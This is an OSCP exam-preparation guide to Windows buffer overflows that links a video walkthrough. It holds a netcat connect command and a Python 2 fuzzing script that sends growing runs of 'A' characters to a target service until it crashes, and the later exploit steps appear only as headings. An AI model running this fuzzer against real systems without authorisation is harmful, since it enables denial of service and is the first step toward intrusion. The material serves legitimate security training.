OSCP Buffer Overflow Guide (Windows)
A walkthrough of the process to create a buffer overflow in windows in preperation for OSCP. This guide should be used with the walkthrough youtube video: https://www.youtube.com/watch?v=tUWCmpxWYdo
1. Play with the Program
nc -nv <IP> <PORT>2. Crash Replication
python -c 'print"A" * 1000'#!/usr/bin/python
import sys,socket
import time
address = '<target IP>'
port = <PORT>
buffer = ['A']
counter = 100
while len(buffer) < 10:
buffer.append('A'*counter)
counter=counter+100
try:
for string in buffer:
print '[+] Sending %s bytes...' % len(string)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=s.connect((address,port))
s.send(string + '\r\n')
s.recv(1024)
print '[+] Done'
except:
print '[!] Unable to connect to the application. You may have crashed it.'
sys.exit(0)
finally:
s.close()Creating exploit.py
3. Finding the Offset
4. Controlling EIP
5. Finding Bad Characters
6. Redirecting Execution
7.Endianness

8. Creating Payload
9. NOPS
10.TROUBLESHOOTING
Last updated